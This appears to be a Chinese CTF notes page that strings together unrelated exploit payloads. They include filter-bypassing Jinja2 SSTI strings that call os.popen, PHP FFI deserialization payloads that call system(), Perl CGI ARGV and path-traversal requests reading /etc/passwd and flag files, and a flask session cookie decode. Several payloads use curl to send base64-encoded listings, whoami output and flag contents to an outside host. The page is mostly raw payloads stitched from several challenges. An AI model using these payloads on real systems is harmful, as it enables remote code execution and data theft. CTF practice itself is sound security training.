[GWCTF 2019]你的名字
知识点:ssti py2黑盒

虽然不能用{{}}` 但是`{%%}`可以用! 还是可以判断是ssti的! 不过他有个php报错挺混的!

这题不给源码不行!
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl scy.upload.love:1/?i=`ls /|base64`') %}{% endif %}
{%print(''.__clasconfigs__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_globals.linecache.os.popconfigen('curl scy.upload.love:1 -d `ls|base64`'))%}
s = "{%print(''.__clasconfigs__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.funcconfig_globals.linecache.oconfigs.popconfigen('curl scy.upload.love:1 -d `ls|base64`'))%}"
{%print(''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl scy.upload.love:1/?a=`whoami`'))%}
{% if ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popen('curl scy.upload.love:1/?i=ls /') %}{% endif %}
s = "{% iconfigf ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popeconfign('curl scy.upload.love:1 -d `ls /|base64`') %}{% endiconfigf %}"
{% iconfigf ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popeconfign('curl scy.upload.love:1 -d `cat /flag_1s_Hera|base64`') %}{% endiconfigf %}root@upload:~# curl -X PUT -i 'node4.buuoj.cn:29584/hurdles/!?get=flag&%26%3d%26%3d%26=%2500%0A' --basic -u "player:54ef36ec71201fdf9d1423fd26f97f6b" --user-agent "1337 v.9000" -H "X-Forwarded-For:13.37.13.37,127.0.0.1" --cookie "Fortune=6265" -H "Accept:text/plain" -H "Accept-Language:ru" -H "origin:https://ctf.bsidessf.net" -H 'Referer:https://ctf.bsidessf.net/challenges'
HTTP/1.1 200 OK
X-Ctf-Flag: flag{d67f600f-eaaa-4be3-ab6d-2869269536ac}
Date: Fri, 27 Aug 2021 05:00:17 GMT
Content-Length: 16
Content-Type: text/plain; charset=utf-8
if ( $b = opendir("glob:///*") )
{
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}closedir($b);
}
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}1=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("curl scy.upload.love:1"));
1=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,'curl scy.upload.love:1/ -d `cat%20/flag`'));
POST /cgi-bin/file.pl?cat+/etc/passwd HTTP/1.1
Host: 9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Length: 382
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVTva0F6UAHl81LA0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81/cgi-bin/file.pl
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924
Connection: close
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file";
ARGV
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file"; filename="0.jpg"
Content-Type: image/jpeg
PNG
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="Submit!"
Submit!
------WebKitFormBoundaryVTva0F6UAHl81LA0--POST /cgi-bin/file.pl?/flag HTTP/1.1
Host: 9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Length: 382
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVTva0F6UAHl81LA0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81/cgi-bin/file.pl
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924
Connection: close
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file";
ARGV
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file"; filename="0.jpg"
Content-Type: image/jpeg
PNG
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="Submit!"
Submit!
------WebKitFormBoundaryVTva0F6UAHl81LA0--GET /preview?f=....//....//....//....//....//....//etctc//passwd
GET /preview?f=....//....//....//....//....//....//....//f1ag_Is_h3rere//flag HTTP/1.1
有waf!是ssti没错了!

{'history': [{'code': '1'}]} |
python3 flask_session_cookie_manager3.py decode -c "eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IGZsYWcudHh0XCIpLnJlYWQoKSJ9XX0.YSj3oQ.QYlRmdrr1Q352sJsPpikQPgdPZA" -s "cded826a1e89925035cc05f0907855f7" |
文章
https://blog.csdn.net/weixin_44037296/article/details/111460870
